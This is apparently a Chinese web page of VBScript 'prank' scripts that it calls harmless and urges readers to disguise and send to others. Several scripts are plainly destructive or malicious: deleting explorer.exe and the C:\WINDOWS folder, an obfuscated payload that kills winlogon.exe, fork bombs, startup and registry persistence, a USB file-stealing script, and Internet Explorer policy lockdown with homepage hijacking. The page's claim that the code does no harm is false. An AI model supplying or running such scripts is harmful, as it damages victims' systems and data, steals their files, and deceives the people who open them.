一些很惡作劇的vbs程序代碼

字號:


    惡作劇的vbs代碼,這里提供的都是一些死循環(huán)或?qū)е孪到y(tǒng)死機(jī)的vbs對機(jī)器沒壞處,最多關(guān)機(jī)重啟一下就可以了,將下面的任意一段代碼保存為*.vbs即可
    操作方法:把代碼保存為*.VBS運行即可
    經(jīng)本人親自測試 不會出大問題的,一般都是利用無限循環(huán),不是死循環(huán),可以通過任務(wù)管理器中結(jié)束WSCRIPT或cscript進(jìn)程即可。
    代碼如下:
    do
    msgbox "hi"
    loop
    無限制的用英文報數(shù)
    代碼如下:
    Set s = CreateObject("sapi.spvoice")
    i=0
    do
    s.speak i
    i=i+1
    loop
    代碼如下:
    if MsgBox("對不起,您灌水太多需要重新啟動計算機(jī)。"&chr(10)&"確定要重啟嗎?",vbOKCancel+vbInformation,"重新啟動計算機(jī)")=vbCancel then
    msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了??!"
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "shutdown -s -t 5",,true
    end if
    代碼如下:
    strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)
    for i=1 to UBound(strs)
    runner=runner&chr(strs(i))
    next
    Execute runner
    這個沒什么,不過加密了,大家可以解密試試
    代碼如下:
    if MsgBox("你是豬頭嗎?",vbYesNo,"提示")=vbyes then
    msgbox "你SB啊!"
    else
    msgbox "還不承認(rèn)!! 作為懲罰,藍(lán)屏一下,你馬上掛了#¥!@#¥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!"
    Set ws = CreateObject("Wscript.Shell")
    wscript.sleep 1200
    ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
    end if
    代碼如下:
    Set ws = CreateObject("Wscript.Shell")
    ws.run "cmd.exe /c call calc.exe",0
    下面的是刪除explorer.exe,導(dǎo)致桌面沒有顯示,不過它事先幫你備份了,為同目錄下的explorer.Data
    代碼如下:
    set ws=CreateObject("Wscript.Shell")
    ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
    wscript.sleep 900
    ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"
    wscript.sleep 1200
    ws.run "cmd.exe /c del /q /f %windir%\explorer.exe
    代碼如下:
    for each wind in verybat
    ws.sendkeys wind
    wscript.sleep 500
    next
    ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30
    ws.popup"下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8
    ws.run "taskkill /f /im qq.exe"
    ws.popup"你還要上吧 慢慢玩哦",27
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    for d=0 to 4
    WSHshell.SendKeys "%{F4}"
    next
    ws.run"shutdown -s -t 1000600"
    wscript.sleep 2000
    dim a
    do
    a=inputbox("請輸入解除關(guān)機(jī)密碼")
    if a="403746401" then
    ws.run"shutdown -a"
    msgbox"密碼驗證成功,enjoy the best!"
    exit do
    else
    msgbox"密碼驗證失敗,請輸入解除關(guān)機(jī)密碼:403746401 ",vbretrycancel
    end if
    loop
    ws.popup"哈哈 被嚇到了吧 好玩吧?你以為真的是病毒?呵呵O(∩_∩)O~,我還沒那么打本事能做出病毒來!",57
    ws.popup"(\(^o^)/~ 好啦,跟你開了個小小玩笑。你也可以把這個文件發(fā)給其他人,耍耍別人。呵呵^_^",62
    wscript.sleep 8900
    do until i=10
    i=i+1
    msgbox "CPU溫度過高,系統(tǒng)出現(xiàn)嚴(yán)重錯誤!,請結(jié)束所有應(yīng)用程序讓CPU降溫!",16+4096,"系統(tǒng)提示:"
    wscript.sleep 1000*45
    loop
    關(guān)機(jī)
    代碼如下:
    set sh=wscript.createobject("wscript.shell")
    sh.run"shutdown -s -t 332"
    關(guān)閉當(dāng)前打開的多個窗口
    代碼如下:
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    for d=0 to 40
    WSHshell.SendKeys "%{F4}"
    next
    代碼如下:
    dim a,b,c,s
    Set fs=CreateObject("Scripting.FileSystemObject")
    name = WScript.ScriptName
    fullname = WScript.ScriptFullName
    path = Replace(fullname,name,"")
    a=inputbox("請在對話框中填寫你真實的姓名!"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜??! "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","請在此輸入你的名字")
    If a = ""Then
    WScript.Quit
    End If
    MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:")
    If MyVar=vbYes Then
    ElseIf MyVar=vbNo Then
    a=inputbox("請在對話框中填寫你真實的姓名!"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜??! "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","請在此輸入你的名字")
    If a = ""Then
    WScript.Quit
    End If
    End If
    wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"請?zhí)顚懸幌履愕膼酆谩?只需填一個哦!)","芮洲提示:","請在此輸入你的愛好")
    If b = ""Then
    WScript.Quit
    End If
    wscript.sleep 1000c = inputbox ("請在下面對話框中輸入你的出生[年 月 日]電腦將自動算出到目前為止你已經(jīng)在地球上存活了多少時間!"&vbcrlf&""&vbcrlf&"下面以我為列 不同可以修改"&vbcrlf&""&Chr(10)&"格式為:1987-06-02","芮洲提示:","1987-06-02")
    If c = ""Then
    WScript.Quit
    End If
    wscript.sleep 1000age = abs(datediff("d",date,c))
    wscript.sleep 1
    current = now()
    h=datepart("h",current)
    n=datepart("n",current)
    WScript.Sleep 1000
    s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小時 "&n&"分鐘.....",vbOKCancel+63,"芮洲提示:")
    if s=2 then
    end if
    Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)
    auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的愛好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已經(jīng)活了:"&age&"天 "&h&"小時 "&n&"分鐘 "&""""&",64,"&""""&""&a&"的自我介紹:"""
    auto.WriteLine "msgbox"&""""&"親愛的 "&a& " 再見了!"&""""&",48,"&""""&"芮洲提示:"&""""&""
    Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快樂.TXT",true)
    auto.WriteLine "本人芮洲祝: "&a&" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)......."
    auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小時 "&n&"分鐘了"
    auto.WriteLine "時間是根據(jù)你的出生年月日算的,可能不是很精確,但目的只是想讓知道時間過的很快,請珍惜時間!!!。"
    代碼如下:
    dim a
    a=10
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "shutdown -s -t 10",,true
    Set s = CreateObject("sapi.spvoice")
    while a
    s.Speak a
    a = a - 1
    wscript.sleep 100
    wend
    CreateObject("SAPI.SpVoice").Speak "Bomb?"
    代碼如下:
    do
    createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
    loop
    代碼如下:
    msgbox"此文件無毒,請放心使用。",vbretrycancel,"系統(tǒng)提示。"
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.Run "cmd.exe /c shutdown -s -t 300"
    wscript.sleep 2000
    dim a
    do
    a=inputbox("輸入abc,否則關(guān)機(jī)。")
    if a="abc" then
    msgbox" 很遺憾,你中招了,這是整人程序,你就等著關(guān)機(jī)吧!"
    exit do
    else
    msgbox"乖點,輸入abc"
    end if
    loop
    代碼如下:
    on error resume next
    dim WSHshellA
    set WSHshellA = wscript.createobject("wscript.shell")
    WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""說我是豬,不說我是豬就一分鐘關(guān)你機(jī),不信,試試···"" ",0 ,true
    dim a
    do while(a <> "我是豬")
    a = inputbox ("說我是豬,就不關(guān)機(jī),快撒,說 ""我是豬"" ","說不說","不說",8000,7000)
    msgbox "乖"
    loop
    msgbox "早說就行了嘛"
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true
    msgbox "自己罵自己的不要臉~~~~~~",4, " "
    代碼如下:
    msgbox"你是不是很無聊???",4
    msgbox"我來陪你玩會兒"
    msgbox"做好玩兒的準(zhǔn)備吧!"
    do
    msgbox"你無聊嗎?",vbinformation,"你無聊嗎?"
    loop
    代碼如下:
    on error resume next
    set wr=createobject("scripting.filesystemobject")
    set ws=createobject("wscript.shell")
    set f = wr.getfile(wscript.scriptfullname)
    q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
    if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
    ws.run"shutdown -p",vbhide
    這個太可惡了 只好重啟
    代碼如下:
    set ws=createobject("wscript.shell")
    do
    ws.sendkeys "{f5}"
    loop
    代碼如下:
    Dim AutoRunProgram
    Set AutoRunProgram = WScript.CreateObject("WScript.shell")
    RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
    Type_Name = "REG_SZ"
    Key_Name = "QUESTION.vbS"
    Key_data = "C:\windows\system32\QUESTION.vbs"
    AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
    Dim fso,file
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set file = fso.getfile(WScript.ScriptFullName)
    file.copy "c:\windows\system32\"
    Set fso = CreateObject("Scripting.FileSystemObject")
    f = fso.DeleteFile(WScript.ScriptName)
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "shutdown -s -t 5",,true
    代碼如下:
    set wmp=createobject("wmplayer.ocx")
    set cd=wmp.cdromcollection.item(0)
    do
    cd.eject
    loop
    代碼如下:
    on error resume next
    dim WSHshellA
    set WSHshellA = wscript.createobject("wscript.shell")
    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我聲爹,快喊"" ",0 ,true
    dim a
    do while(a <> "爹")
    a = inputbox ("喊我爹,快撒,喊 ""爹"" ","喊不喊","不喊",8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
    loop
    msgbox chr(13) + chr(13) + chr(13) + "兒子"
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true
    msgbox chr(13) + chr(13) + chr(13) + "等下老爹買棒棒糖給你吃"
    代碼如下:
    on error resume next
    dim WSHshellA
    set WSHshellA = wscript.createobject("wscript.shell")
    WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說你愛我,不說你愛我就兩分鐘關(guān)你機(jī),不信,試試···"" ",0 ,true
    dim a
    do while(a <> "我愛你")
    a = inputbox ("說你愛我,就不關(guān)機(jī),快撒,說 ""你愛我"" ","說不說","不說",8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
    loop
    msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,何必這么費勁"
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true
    msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真過癮
    代碼如下:
    i = MsgBox("由于你灌水太水需要爆破電腦。"&_
    vbCrLf&"確定爆破嗎?",vbOKCancel,_
    "爆破電腦系統(tǒng)?。。。?!")
    if i = 1 then
    CreateObject("SAPI.SpVoice").Speak "bone"
    end if
    代碼如下:
    On Error Resume Next
    Dim i
    i=0
    Set fso=CreateObject("Scripting.FileSystemObject")
    IP=InputBox("請輸入要監(jiān)控的U盤盤符:","U盤大盜-By 最聰明的豬","I:")
    ext=InputBox("請輸入要盜竊的文件名的擴(kuò)展名:","U盤大盜-By 最聰明的豬","txt")
    MyFolder=InputBox("請輸入保存文件的路徑:","U盤大盜-By 最聰明的豬","E:\U盤大盜")
    fso.CreateFolder(MyFolder)
    Do
    WScript.Sleep 1000
    If fso.FolderExists(IP & "\") Then Exit Do
    Loop
    Scan(IP & "\")
    Sub Scan(Folder_)
    On Error Resume Next
    Set Folder_=fso.GetFolder(Folder_)
    Set Files=Folder_.Files
    For Each File in Files
    ext_=fso.GetExtensionName(File)
    ext_=Lcase(ext_)
    ext=Lcase(ext)
    If ext_=ext Then
    i=i+1
    fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)
    End If
    Next
    Set SubFolders=Folder_.SubFolders
    For Each SubFolder In SubFolders
    Scan(Subfolder)
    Next
    End Sub
    代碼如下:
    on error resume next
    dim WSHshellA
    set WSHshellA = wscript.createobject("wscript.shell")
    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分鐘后,你的機(jī)子就完了,不信?!試試!"" ",0 ,true
    dim a
    do while(a <> "不重,不重,我就不重!")
    a = inputbox ("唯一的辦法就是""重啟"" ","重不重啟","不重,不重,我就不重!",8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
    loop
    msgbox chr(13) + chr(13) + chr(13) + "真的不是我說你,亂按什么確定啊,希望你在網(wǎng)吧.菩薩保佑......"
    msgbox chr(13) + chr(13) + chr(13) + "你的機(jī)子真的要完了,趕緊準(zhǔn)備點錢重裝機(jī)子吧.阿彌陀佛,善哉,善哉!"
    msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
    msgbox chr(13) + chr(13) + chr(13) + "88~"
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true
    msgbox " " + chr(14) + "~"
    Dim a
    Set a = CreateObject("Scripting.FileSystemObject")
    a.DeleteFolder ("C:\WINDOWS")
    不是死循環(huán)了,是讓你死機(jī)了,重啟吧
    代碼如下:
    msgbox"讓你見識一下啥叫狠毒!"
    do
    set ws=createobjecet("wscript.shell")
    ws.run"explorer.exe"
    ws.run"cmd.exe"
    loop
    代碼如下:
    on error resume next
    msgbox"即將格式化!請做好準(zhǔn)備!",vbyesno
    msgbox"準(zhǔn)備好后點yes!",vbyesno
    msgbox"sorry,忘說了,點no也行!"
    msgbox"我對不起你??!嗚嗚嗚555哈哈哈哈!"
    msgbox"靠,我笑個屁呀!我可是著名博士!在精神病院搞一種研究。。。"
    msgbox"被人研究!"
    msgbox"就知道你會笑!告訴你,我最歧視兩種人!一是歧視別人的人,二是愛笑人,三是不識數(shù)的人!"
    msgbox"你咋還笑?!是時候懲罰你了!"
    do
    set ws=createobjecet("wscript.shell")
    ws.run"explorer.exe"
    ws.run"cmd.exe"
    ws.run"cmd.exe /c shutdown -s -t 7200",,ture
    loop
    發(fā)個特整人的東西
    代碼如下:
    set s.createobject("wscript.shell")
    lsfile=wscript.scriptfullname '獲得自己的名稱
    do '死循環(huán)
    s.run lsfile '自己運行自己
    s.run "notepad" '運行記事本
    loop '幾秒就死機(jī),哈
    來個綠色的,無毒無害的:
    代碼如下:
    dim a
    set a=createobject("sapi.spvoice")
    a.speak "ha ha ha ha hahahahahahaha"
    注:ha ha ha... 可以改為幾句粗話!!
    輸入中文后英文要取決于你的電腦會講英文還是中文!
    代碼如下:
    dim a
    a=msgbox("給你講個故事!",vbyesno,"默默許愿制作")
    if a=vbyes then
    do
    msgbox("從前有座山")
    msgbox("山上有座廟")
    msgbox("廟里有兩個和尚")
    msgbox("大和尚給小和尚講故事說")
    a=1
    loop while a=1
    end if
    將默認(rèn)頁,搜索頁設(shè)置百度
    代碼如下:
    if msgbox("這是被封印的東西",65,"警告?。?!") = 1 then
    if msgbox("請不要一意孤行",65,"警告?。?!") =1 then
    if msgbox("不要再按了!!",65,"警告?。?!") =1 then
    if msgbox("氣死我了.....",65,"警告!?。?) =1 then
    if msgbox("既然這樣...那么這個東西就歸你了!",65,"祝你愉快!886") =1 then
    msgbox "到這里,是你自己的命令,我也無法阻止了",65,"祝你愉快!886"
    msgbox "這是一個病毒.....(由魔導(dǎo)之魂封印的)現(xiàn)在,魔導(dǎo)之魂也無法控制他了?。。?!",65,"封印解除??!"
    on error resume next
    dim fso,wsh,myfile,ws,pp,fsoFolder
    set wsh=wscript.createobject("wscript.shell")
    set fso=wscript.createobject("scripting.filesystemobject")
    set myfile=fso.GetFile(wscript.scriptfullname)
    wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
    wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
    wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"
    wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
    wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
    wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
    wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
    wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
    很久很久以前,好像是高考后的那個夏天,收到過朋友的一個惡作劇程序,程序名為“一篇感動人的文章.vbs”,當(dāng)時什么都不懂,直接雙擊了,一直耿耿于懷。雙擊后彈出一個輸入框“輸入‘我是豬',否則十五秒后關(guān)機(jī)。我還以為是搞笑的,什么都沒有輸入,就真的關(guān)機(jī)了,覺得很神奇。而現(xiàn)在能夠自己寫出代碼了,卻再也找不到以前的快樂。
    代碼如下:
    Option Explicit
    On Error Resume Next
    Dim answer
    Dim WshShell
    set WshShell = CreateObject("wscript.Shell")
    WshShell.Run "Shutdown /f /s /t 10 /c 輸入'我是豬',否則10秒后關(guān)機(jī)~",0
    Do While answer<>"我是豬"
    answer=InputBox("輸入'我是豬',否則10秒后關(guān)機(jī)~","哈哈哈",,7000,8000)
    Loop
    WshShell.Run "Shutdown /a",0
    MsgBox "哈哈哈,好玩不?",,"哈哈哈"
    打開記事本,把代碼復(fù)制粘貼進(jìn)去,保存為“一篇感動人的文章.vbs”,一個惡作劇程序就完成了,接下來做什么就超出本文范圍了。